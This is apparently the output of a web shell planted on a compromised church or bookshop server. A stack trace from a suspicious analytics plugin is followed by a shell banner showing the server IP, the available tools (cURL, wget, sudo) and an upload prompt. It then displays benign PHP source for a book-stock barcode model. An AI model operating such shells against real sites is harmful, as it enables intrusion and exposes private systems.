Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_books/core/models/ |
Upload File : |
<?php
class Barcode_Model extends Model {
/*
list periodicals
SELECT * FROM `dt_barcode`
left join dt_title on db_member=bt_id
WHERE `db_type` LIKE 'p' and not db_member is null
*/
function __construct() {
global $DATABASE;
parent::__construct();
if (!is_object($DATABASE->db)) $DATABASE->Open();
}
public function GetBarcodeInformation($barcode) {
global $DATABASE;
$sql = <<<BLOCK
select a1.ba_name as ba_name1,a2.ba_name as ba_name2,ds_barcode,bt_title,
ds_title,ds_group,ds_wear,ds_cost,ds_location,dl_desc,bt_dim,bt_id
from dt_stock
inner join dt_title on ds_title=bt_id
inner join dt_location on ds_location=dl_id
left outer join dt_author as a1 on a1.ba_id=bt_author1
left outer join dt_author as a2 on a2.ba_id=bt_author2
where ds_barcode=%s
BLOCK;
$DATA = $DATABASE->Lookup($sql, $barcode);
DbErr($DATABASE);
return $DATA;
}
public function GetBarcodeDetails($barcode) {
global $DATABASE;
$sql = <<<BLOCK
select db_type,db_member,db_active,
a1.ba_name as ba_name1,a2.ba_name as ba_name2,ds_barcode,bt_title,
ds_title,ds_group,ds_wear,ds_cost,ds_location,dl_desc,bt_dim,bt_id,bt_cover
from dt_barcode
left join dt_stock as ds on ds_barcode=db_barcode
left join dt_title on ds_title=bt_id
left join dt_location on ds_location=dl_id
left outer join dt_author as a1 on a1.ba_id=bt_author1
left outer join dt_author as a2 on a2.ba_id=bt_author2
where db_barcode=%s
BLOCK;
$DATA = $DATABASE->Lookup($sql, $barcode);
DbErr($DATABASE);
$DATA['db_member'] = empty($DATA['db_member']) ? 0 : intval($DATA['db_member']);
if (!isset($DATA['db_type'])) $DATA['db_type'] = '';
if ($DATA['db_type'] == 'x') $DATA['db_type'] = $DATA['db_member'];
if (isset($DATA['ds_cost'])) $DATA['sell'] = ip_ItemCost($DATA);
return $DATA;
}
public function NewItem() {
$webform = new webform('');
$f = $webform->AddField_List('id', '&Title', 1); // also add sell price here
$f->SetHeight(18);
$f->SetWidth(480);
$f = $webform->AddField_Text('sell', '&Sell Price', 0);
$f->SetType(TEXTTYPE_CURRENCY);
$f->SetWidth(90);
$webform->AddField_List('ds_group', 'Stock Group', 0);
$webform->AddField_CheckBox('bt_purchase', 'For P&urchase Only', 0);
$webform->AddSubmit('s', ' add this item ');
return $webform;
}
public function AssignProductToBarcode($barcode, $item) {
global $DATABASE;
// is barcode unallocated? error if not
$sql = 'select db_active,db_type from dt_barcode where db_barcode=%s';
$DATA = $DATABASE->Lookup($sql, $barcode);
DbErr($DATABASE);
$type = empty($DATA['db_type']) ? '' : $DATA['db_type'];
if ($type != 's' || empty($DATA['db_active'])) return -1; // not an active stock barcode
$sql = 'select * from dt_stock where ds_barcode=%s';
$DATA = $DATABASE->Lookup($sql, $barcode, 'dt_stock');
DbErr($DATABASE);
if (!$DATA['__existing']) {
$DATA['ds_barcode'] = $barcode;
} elseif (!empty($DATA['ds_member']) || !empty($DATA['ds_invoice'])) {
return -2; // already sold
}
$DATA['ds_title'] = $item['id'];
$DATA['ds_group'] = $item['ds_group'];
$DATA['ds_purchase'] = $item['bt_purchase'];
$DATA['ds_cost'] = $item['sell'];
$DATA['ds_wear'] = 0;
$DATA['ds_member'] = 0;
$DATA['ds_invoice'] = 0;
$DATA['ds_in'] = date('Y-m-d');
$DATABASE->SaveRecord($DATA);
DbErr($DATABASE);
return 1;
}
public function AsPeriodicalDate($year, $month) {
$monthnames = array(1 => 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');
return "{$monthnames[$month]} $year";
}
public function CreatePeriodicalTitle($base_title, $periodical_date) {
global $DATABASE;
$sql = 'select bt_title from dt_title where bt_id=%d';
$DATA = $DATABASE->Lookup($sql, $base_title);
DbErr($DATABASE);
$title = empty($DATA['bt_title']) ? '(unknown)' : $DATA['bt_title'];
$title = "$title ($periodical_date)";
$sql = 'select bt_id from dt_title where bt_title=%s';
$DATA = $DATABASE->Lookup($sql, $title, 'dt_title');
if ($DATA['__existing']) return $DATA['bt_id']; // periodical already created.
// create title in the database, return the title id.
$DATA['bt_id'] = ip_GetRandomID('dt_title', 'bt_id');
$DATA['bt_title'] = $title;
$DATABASE->SaveRecord($DATA);
return $DATA['bt_id'];
}
}